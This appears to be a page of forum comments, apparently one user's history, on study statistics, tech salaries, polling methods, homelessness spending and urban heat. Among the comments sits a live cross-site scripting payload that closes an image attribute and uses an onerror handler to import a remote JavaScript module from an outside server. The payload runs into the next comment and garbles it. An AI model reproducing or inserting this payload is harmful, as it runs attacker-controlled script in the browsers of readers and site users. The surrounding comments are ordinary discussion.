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> In the full sample, the estimated postpolicy association was 0.65 (95% CI, 0.01-1.30; P = .05) for depressive symptoms, 0.21 (95% CI, −0.08 to 0.50; P = .16) for anxiety, 0.23 (95% CI, −0.12 to 0.59) for hostility, and −0.52 (95% CI, −1.08 to 0.03; P = .06) for mental well-being.
> Although a small number of estimates were suggestive of worse outcomes before multiple testing correction, none remained statistically significant after prespecified correction. Results were similarly null in gender-stratified analyses.
One possibility is "adjust the minimum wage for inflation," but they seem to be against this: https://www.google.com/search?client=firefox-b-1-d&q=the+eco...
In my experience, those numbers are low for the US. This is about accurate: https://www.levels.fyi/companies/google/salaries/software-en...
> While a broad set of confounding factors with distant relationship to cancer are included in the model, sources of carcinogenic pollutants are inexplicably missing. NPPs tend to be located in industrialized and densely populated regions to minimize cost of transmission. Other industries, particular chemical and petrochemical plants are well established sources of carcinogens, yet they are not considered as a confounding factor. Occupational hazards are also excluded from the model.
Any details of the methodology? Is it possible some mistakes were made during this "trial and error"?
!image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='aDoes Jane Street really pay that much? Of course 7 figures is possible, but these median comps seem lower than FAANG (and with much higher workload): https://www.levels.fyi/companies/jane-street/salaries/softwa...
The state of the art (which confirms this ~35% approval number) is far more rigorous than that.
Start with a meta-review of historical accuracy and transparency, eg: https://www.natesilver.net/p/pollster-ratings-silver-bulleti...
Details on methodology and sample size can be Googled, eg: https://poll.qu.edu/methodology/ , https://www.washingtonpost.com/news/the-fix/wp/2015/07/24/ev... , https://www.google.com/search?q=Marquette+University+Law+Sch..., etc.
Sample size is less important than you might think, due to https://en.wikipedia.org/wiki/Binomial_proportion_confidence...
The article answers this: For one, the 'papers' are entirely AI-generated.
It's unlikely there's a trivial arbitrage to eliminate homelessness in a city full of engineers.
Thus, cutting all budget for cash transfers could increase homelessness by 80%! (Are those 14,498 now-homeless people eligible for this year's $100k? They can't be, since you already spent it on the 7,973 currently-homeless people).
Model the situation as "X(t) people become homeless at year t, Y(t) people become housed at time t," and you'll see the most important metric is "how much can we decrease X and increase Y per dollar spent"?
"Number of dollars per current homeless" is not really meaningful at all.
"Replace services with direct transfers" would eliminate homelessness for 1 year. Then new people would become homeless, and you'd have no services, because your budget is already committed to the "year 1 homeless-cohort."
The money spent grows quadratically (not linearly) over time.
Is this an artifact of dynamic resizing at small resolutions?
Only Georgists believe that. And it's the rent of the "bare land", not including the housing constructed on it.
It doesn't affect life expectancy much, because most deaths are among the elderly (70% over 80 IIRC).
> A significant degradation of external thermal comfort can also be seen in the simulations, as heat released by AC systems warms the outside air (see figure 3). The temperature increases due to AC depend on the time of day and on the characteristics of the heat wave, mainly its intensity. On average, the duration spent under high heat stress conditions in the streets is increased by about 20 min per day because of AC.
https://iopscience.iop.org/article/10.1088/1748-9326/ab6a24#...